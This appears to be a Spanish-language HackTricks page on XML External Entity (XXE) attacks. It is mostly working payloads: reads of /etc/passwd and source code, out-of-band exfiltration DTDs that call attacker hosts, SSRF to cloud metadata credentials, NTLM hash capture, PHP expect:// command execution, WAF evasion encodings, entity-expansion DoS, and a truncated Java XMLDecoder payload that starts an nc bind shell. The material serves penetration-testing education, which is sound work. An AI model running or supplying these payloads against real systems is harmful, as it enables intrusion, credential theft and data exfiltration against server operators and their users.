XXE - XEE - XML External Entity

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Conceptos Básicos de XML

XML es un lenguaje de marcado diseñado para el almacenamiento y transporte de datos, con una estructura flexible que permite el uso de etiquetas con nombres descriptivos. Se diferencia de HTML al no estar limitado a un conjunto de etiquetas predefinidas. La importancia de XML ha disminuido con el auge de JSON, a pesar de su papel inicial en la tecnología AJAX.

  • Representación de Datos a través de Entidades: Las entidades en XML permiten la representación de datos, incluyendo caracteres especiales como &lt; y &gt;, que corresponden a < y > para evitar conflictos con el sistema de etiquetas de XML.

  • Definición de Elementos XML: XML permite la definición de tipos de elementos, describiendo cómo deben estructurarse los elementos y qué contenido pueden contener, desde cualquier tipo de contenido hasta elementos secundarios específicos.

  • Definición del Tipo de Documento (DTD): Las DTD son cruciales en XML para definir la estructura del documento y los tipos de datos que puede contener. Pueden ser internas, externas o una combinación, guiando cómo se formatean y validan los documentos.

  • Entidades Personalizadas y Externas: XML admite la creación de entidades personalizadas dentro de una DTD para una representación flexible de datos. Las entidades externas, definidas con una URL, plantean preocupaciones de seguridad, especialmente en el contexto de ataques de Entidad Externa XML (XXE), que explotan la forma en que los analizadores XML manejan fuentes de datos externas: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>

  • Detección de XXE con Entidades de Parámetro: Para detectar vulnerabilidades de XXE, especialmente cuando los métodos convencionales fallan debido a medidas de seguridad del analizador, se pueden utilizar entidades de parámetro XML. Estas entidades permiten técnicas de detección fuera de banda, como desencadenar búsquedas de DNS o solicitudes HTTP a un dominio controlado, para confirmar la vulnerabilidad.

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

Principales ataques

La mayoría de estos ataques fueron probados utilizando los increíbles laboratorios XEE de Portswiggers: https://portswigger.net/web-security/xxe

Prueba de Nueva Entidad

En este ataque voy a probar si una simple declaración de NUEVA ENTIDAD está funcionando

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

Leer archivo

Intentemos leer /etc/passwd de diferentes maneras. Para Windows, podrías intentar leer: C:\windows\system32\drivers\etc\hosts

En este primer caso, ten en cuenta que SYSTEM "**file:///**etc/passwd" también funcionará.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

Este segundo caso debería ser útil para extraer un archivo si el servidor web está utilizando PHP (No es el caso de los laboratorios de Portswiggers)

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

En este tercer caso, notamos que estamos declarando el Elemento stockCheck como ANY.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

Listado de directorios

En las aplicaciones basadas en Java, podría ser posible listar el contenido de un directorio a través de XXE con una carga útil como (solo pidiendo el directorio en lugar del archivo):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

Un XXE podría ser utilizado para abusar de un SSRF dentro de una nube

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

SSRF a ciegas

Utilizando la técnica comentada anteriormente puedes hacer que el servidor acceda a un servidor que controlas para mostrar su vulnerabilidad. Pero, si eso no funciona, tal vez sea porque las entidades XML no están permitidas, en ese caso podrías intentar usar entidades de parámetros XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

SSRF "ciego" - Exfiltrar datos fuera de banda

En esta ocasión vamos a hacer que el servidor cargue un nuevo DTD con una carga maliciosa que enviará el contenido de un archivo a través de una solicitud HTTP (para archivos de varias líneas podrías intentar exfiltrarlo a través de _ftp://_ utilizando este servidor básico, por ejemplo xxe-ftp-server.rb). Esta explicación se basa en el laboratorio de Portswigger aquí.

En el DTD malicioso proporcionado, se realizan una serie de pasos para exfiltrar datos:

Ejemplo de DTD Malicioso:

La estructura es la siguiente:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Los pasos ejecutados por esta DTD incluyen:

  1. Definición de Entidades de Parámetros:

    • Se crea una entidad de parámetro XML, %file, que lee el contenido del archivo /etc/hostname.

    • Se define otra entidad de parámetro XML, %eval. Declara dinámicamente una nueva entidad de parámetro XML, %exfiltrate. La entidad %exfiltrate se configura para realizar una solicitud HTTP al servidor del atacante, pasando el contenido de la entidad %file dentro de la cadena de consulta de la URL.

  2. Ejecución de Entidades:

    • Se utiliza la entidad %eval, lo que conduce a la ejecución de la declaración dinámica de la entidad %exfiltrate.

    • Luego se utiliza la entidad %exfiltrate, desencadenando una solicitud HTTP a la URL especificada con el contenido del archivo.

El atacante aloja esta DTD maliciosa en un servidor bajo su control, típicamente en una URL como http://web-attacker.com/malicious.dtd.

Carga Útil XXE: Para explotar una aplicación vulnerable, el atacante envía una carga útil XXE:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Este payload define una entidad de parámetro XML %xxe e la incorpora dentro del DTD. Cuando es procesado por un analizador XML, este payload obtiene el DTD externo desde el servidor del atacante. Luego, el analizador interpreta el DTD en línea, ejecutando los pasos descritos en el DTD malicioso y llevando a la filtración del archivo /etc/hostname al servidor del atacante.

Basado en Errores (DTD Externo)

En este caso vamos a hacer que el servidor cargue un DTD malicioso que mostrará el contenido de un archivo dentro de un mensaje de error (esto solo es válido si puedes ver mensajes de error). Ejemplo desde aquí.

Un mensaje de error de análisis XML, revelando el contenido del archivo /etc/passwd, puede ser desencadenado utilizando una Definición de Tipo de Documento (DTD) externa maliciosa. Esto se logra a través de los siguientes pasos:

  1. Se define una entidad de parámetro XML llamada file, que contiene el contenido del archivo /etc/passwd.

  2. Se define una entidad de parámetro XML llamada eval, incorporando una declaración dinámica para otra entidad de parámetro XML llamada error. Esta entidad error, al ser evaluada, intenta cargar un archivo inexistente, incorporando el contenido de la entidad file como su nombre.

  3. Se invoca la entidad eval, lo que lleva a la declaración dinámica de la entidad error.

  4. La invocación de la entidad error resulta en un intento de cargar un archivo inexistente, produciendo un mensaje de error que incluye el contenido del archivo /etc/passwd como parte del nombre del archivo.

El DTD externo malicioso puede ser invocado con el siguiente XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Al ejecutarse, la respuesta del servidor web debería incluir un mensaje de error que muestre el contenido del archivo /etc/passwd.

Por favor, ten en cuenta que la DTD externa nos permite incluir una entidad dentro de la segunda (eval), pero está prohibido en la DTD interna. Por lo tanto, no puedes forzar un error sin usar una DTD externa (generalmente).

Basado en Errores (DTD del sistema)

Entonces, ¿qué pasa con las vulnerabilidades ciegas de XXE cuando las interacciones fuera de banda están bloqueadas (las conexiones externas no están disponibles)?.

Una laguna en la especificación del lenguaje XML puede exponer datos sensibles a través de mensajes de error cuando la DTD de un documento combina declaraciones internas y externas. Este problema permite la redefinición interna de entidades declaradas externamente, facilitando la ejecución de ataques XXE basados en errores. Tales ataques explotan la redefinición de una entidad de parámetro XML, originalmente declarada en una DTD externa, desde dentro de una DTD interna. Cuando las conexiones fuera de banda están bloqueadas por el servidor, los atacantes deben depender de archivos DTD locales para llevar a cabo el ataque, con el objetivo de inducir un error de análisis para revelar información sensible.

Considera un escenario donde el sistema de archivos del servidor contiene un archivo DTD en /usr/local/app/schema.dtd, definiendo una entidad llamada custom_entity. Un atacante puede inducir un error de análisis XML revelando el contenido del archivo /etc/passwd al enviar una DTD híbrida de la siguiente manera:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

Los pasos delineados son ejecutados por esta DTD:

  • La definición de una entidad de parámetro XML llamada local_dtd incluye el archivo DTD externo ubicado en el sistema de archivos del servidor.

  • Ocurre una redefinición para la entidad de parámetro XML custom_entity, originalmente definida en el DTD externo, para encapsular un exploit XXE basado en errores. Esta redefinición está diseñada para provocar un error de análisis, exponiendo el contenido del archivo /etc/passwd.

  • Al emplear la entidad local_dtd, se activa el DTD externo, abarcando la entidad custom_entity recién definida. Esta secuencia de acciones precipita la emisión del mensaje de error apuntado por el exploit.

Ejemplo del mundo real: Los sistemas que utilizan el entorno de escritorio GNOME a menudo tienen un DTD en /usr/share/yelp/dtd/docbookx.dtd que contiene una entidad llamada ISOamso.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Dado que esta técnica utiliza un DTD interno, primero necesitas encontrar uno válido. Puedes hacer esto instalando el mismo SO / Software que está utilizando el servidor y buscando algunos DTD predeterminados, o obteniendo una lista de DTD predeterminados dentro de los sistemas y verificando si alguno de ellos existe:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Para obtener más información, consulta https://portswigger.net/web-security/xxe/blind

Encontrar DTDs dentro del sistema

En el siguiente repositorio de GitHub increíble, puedes encontrar rutas de DTDs que pueden estar presentes en el sistema:

Además, si tienes la imagen Docker del sistema víctima, puedes utilizar la herramienta del mismo repositorio para escanear la imagen y encontrar la ruta de DTDs presentes dentro del sistema. Lee el Readme del repositorio de GitHub para aprender cómo.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE a través de Analizadores de XML de Office Open XML

Para obtener una explicación más detallada de este ataque, consulte la segunda sección de esta increíble publicación de Detectify.

La capacidad de cargar documentos de Microsoft Office es ofrecida por muchas aplicaciones web, las cuales luego proceden a extraer ciertos detalles de estos documentos. Por ejemplo, una aplicación web puede permitir a los usuarios importar datos mediante la carga de una hoja de cálculo en formato XLSX. Para que el analizador extraiga los datos de la hoja de cálculo, inevitablemente necesitará analizar al menos un archivo XML.

Para probar esta vulnerabilidad, es necesario crear un archivo de Microsoft Office que contenga un payload XXE. El primer paso es crear un directorio vacío al cual se pueda descomprimir el documento.

Una vez que el documento haya sido descomprimido, el archivo XML ubicado en ./unzipped/word/document.xml debe ser abierto y editado en un editor de texto preferido (como vim). El XML debe ser modificado para incluir el payload XXE deseado, a menudo comenzando con una solicitud HTTP.

Las líneas XML modificadas deben ser insertadas entre los dos objetos XML raíz. Es importante reemplazar la URL con una URL monitorizable para las solicitudes.

Finalmente, el archivo puede ser comprimido para crear el archivo malicioso poc.docx. Desde el directorio "unzipped" previamente creado, se debe ejecutar el siguiente comando:

Ahora, el archivo creado puede ser cargado en la aplicación web potencialmente vulnerable, y uno puede esperar que aparezca una solicitud en los registros de Burp Collaborator.

Protocolo Jar

El protocolo jar es accesible exclusivamente dentro de aplicaciones Java. Está diseñado para permitir el acceso a archivos dentro de un archivo PKZIP (por ejemplo, .zip, .jar, etc.), atendiendo tanto a archivos locales como remotos.

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

Acceder a archivos dentro de archivos PKZIP es muy útil para abusar de XXE a través de archivos DTD del sistema. Consulta esta sección para aprender cómo abusar de archivos DTD del sistema.

El proceso para acceder a un archivo dentro de un archivo PKZIP a través del protocolo jar implica varios pasos:

  1. Se realiza una solicitud HTTP para descargar el archivo zip desde una ubicación especificada, como https://descarga.sitio.com/archivo.zip.

  2. La respuesta HTTP que contiene el archivo se almacena temporalmente en el sistema, típicamente en una ubicación como /tmp/....

  3. Luego se extrae el archivo para acceder a su contenido.

  4. Se lee el archivo específico dentro del archivo, archivo.zip.

  5. Después de la operación, se eliminan los archivos temporales creados durante este proceso.

Una técnica interesante para interrumpir este proceso en el segundo paso implica mantener abierta la conexión del servidor indefinidamente al servir el archivo de archivo. Herramientas disponibles en este repositorio pueden ser utilizadas para este propósito, incluyendo un servidor Python (slow_http_server.py) y un servidor Java (slowserver.jar).

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

Escribir archivos en un directorio temporal puede ayudar a escalar otra vulnerabilidad que involucre una traversía de ruta (como inclusión de archivos locales, inyección de plantillas, RCE de XSLT, deserialización, etc).

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Ataque de Mil Millones de Risas

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Ataque Yaml

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Ataque de Explosión Cuadrática

Obteniendo NTML

En hosts de Windows es posible obtener el hash NTML del usuario del servidor web configurando un controlador responder.py:

Responder.py -I eth0 -v

y enviando la siguiente solicitud

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Superficies XXE Ocultas

XInclude

Cuando se integra datos del cliente en documentos XML del lado del servidor, como los de las solicitudes SOAP del backend, el control directo sobre la estructura XML a menudo está limitado, lo que dificulta los ataques XXE tradicionales debido a restricciones en la modificación del elemento DOCTYPE. Sin embargo, un ataque de XInclude proporciona una solución al permitir la inserción de entidades externas dentro de cualquier elemento de datos del documento XML. Este método es efectivo incluso cuando solo se puede controlar una parte de los datos dentro de un documento XML generado por el servidor.

Para ejecutar un ataque de XInclude, se debe declarar el espacio de nombres XInclude y especificar la ruta del archivo para la entidad externa prevista. A continuación se muestra un ejemplo conciso de cómo se puede formular dicho ataque:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Revisa https://portswigger.net/web-security/xxe para más información!

SVG - Carga de Archivos

Los archivos subidos por usuarios a ciertas aplicaciones, que luego son procesados en el servidor, pueden explotar vulnerabilidades en cómo se manejan los formatos de archivo XML o que contienen XML. Formatos comunes de archivos como documentos de oficina (DOCX) e imágenes (SVG) están basados en XML.

Cuando los usuarios suben imágenes, estas imágenes son procesadas o validadas en el servidor. Incluso para aplicaciones que esperan formatos como PNG o JPEG, la biblioteca de procesamiento de imágenes del servidor también podría admitir imágenes SVG. SVG, al ser un formato basado en XML, puede ser explotado por atacantes para enviar imágenes SVG maliciosas, exponiendo así al servidor a vulnerabilidades de XXE (Entidad Externa XML).

A continuación se muestra un ejemplo de tal exploit, donde una imagen SVG maliciosa intenta leer archivos del sistema:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

Otro método implica intentar ejecutar comandos a través del envoltorio "expect" de PHP:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

En ambos casos, se utiliza el formato SVG para lanzar ataques que explotan las capacidades de procesamiento XML del software del servidor, resaltando la necesidad de una sólida validación de entrada y medidas de seguridad.

¡Consulta https://portswigger.net/web-security/xxe para obtener más información!

Ten en cuenta que la primera línea del archivo leído o del resultado de la ejecución aparecerá DENTRO de la imagen creada. Por lo tanto, debes poder acceder a la imagen que SVG ha creado.

PDF - Subida de archivos

Lee el siguiente post para aprender cómo explotar un XXE subiendo un archivo PDF:

pagePDF Upload - XXE and CORS bypass

Content-Type: De x-www-urlencoded a XML

Si una solicitud POST acepta los datos en formato XML, podrías intentar explotar un XXE en esa solicitud. Por ejemplo, si una solicitud normal contiene lo siguiente:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Entonces podrías enviar la siguiente solicitud, con el mismo resultado:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: De JSON a XEE

Para cambiar la solicitud, podrías usar una Extensión de Burp llamada "Content Type Converter". Aquí puedes encontrar este ejemplo:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

Otro ejemplo se puede encontrar aquí.

Evasión de WAF y Protecciones

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

Esto solo funciona si el servidor XML acepta el protocolo data://.

UTF-7

Puedes usar la ["Receta de codificación" de CyberChef aquí ](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) transformar a UTF-7.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

Bypass de Protocolo de Archivo

Si la web está utilizando PHP, en lugar de usar file:/ puedes usar envolturas de PHP php://filter/convert.base64-encode/resource= para acceder a archivos internos.

Si la web está utilizando Java, puedes verificar el protocolo jar.

Entidades HTML

Truco de https://github.com/Ambrotd/XXE-Notes Puedes crear una entidad dentro de una entidad codificándola con entidades HTML y luego llamarla para cargar un dtd. Ten en cuenta que las Entidades HTML utilizadas deben ser numéricas (como [en este ejemplo](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

Ejemplo de DTD:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

Envolturas de PHP

Base64

Extraer index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

Extraer recurso externo

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

Ejecución de código remoto

Si el módulo "expect" de PHP está cargado

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

Este ejemplo está inspirado en https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe

XLIFF (XML Localization Interchange File Format) se utiliza para estandarizar el intercambio de datos en procesos de localización. Es un formato basado en XML utilizado principalmente para transferir datos localizables entre herramientas durante la localización y como formato de intercambio común para herramientas de TAO (Traducción Asistida por Ordenador).

Análisis de solicitud ciega

Se realiza una solicitud al servidor con el siguiente contenido:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Sin embargo, esta solicitud desencadena un error interno del servidor, mencionando específicamente un problema con las declaraciones de marcado:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

A pesar del error, se registra un hit en Burp Collaborator, lo que indica cierto nivel de interacción con la entidad externa.

Exfiltración de Datos Fuera de Banda Para exfiltrar datos, se envía una solicitud modificada:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Este enfoque revela que el User Agent indica el uso de Java 1.8. Una limitación destacada de esta versión de Java es la incapacidad de recuperar archivos que contienen un carácter de nueva línea, como /etc/passwd, utilizando la técnica Out of Band.

Exfiltración de Datos Basada en Errores Para superar esta limitación, se emplea un enfoque basado en errores. El archivo DTD está estructurado de la siguiente manera para desencadenar un error que incluya datos de un archivo objetivo:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

El servidor responde con un error, reflejando de manera importante que el archivo no existe, lo que indica que el servidor está intentando acceder al archivo especificado:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Para incluir el contenido del archivo en el mensaje de error, se ajusta el archivo DTD:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

Esta modificación conduce a la exitosa exfiltración del contenido del archivo, tal como se refleja en la salida de error enviada a través de HTTP. Esto indica un exitoso ataque XXE (Entidad Externa XML), aprovechando tanto técnicas Out of Band como basadas en errores para extraer información sensible.

RSS - XEE

XML válido con formato RSS para explotar una vulnerabilidad XXE.

Ping back

Solicitud HTTP simple al servidor de los atacantes

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Leer archivo

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Leer código fuente

Usando el filtro base64 de PHP

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE to RCE

XMLDecoder es una clase de Java que crea objetos basados en un mensaje XML. Si un usuario malintencionado puede hacer que una aplicación utilice datos arbitrarios en una llamada al método readObject, obtendrá instantáneamente la ejecución de código en el servidor.

Usando Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
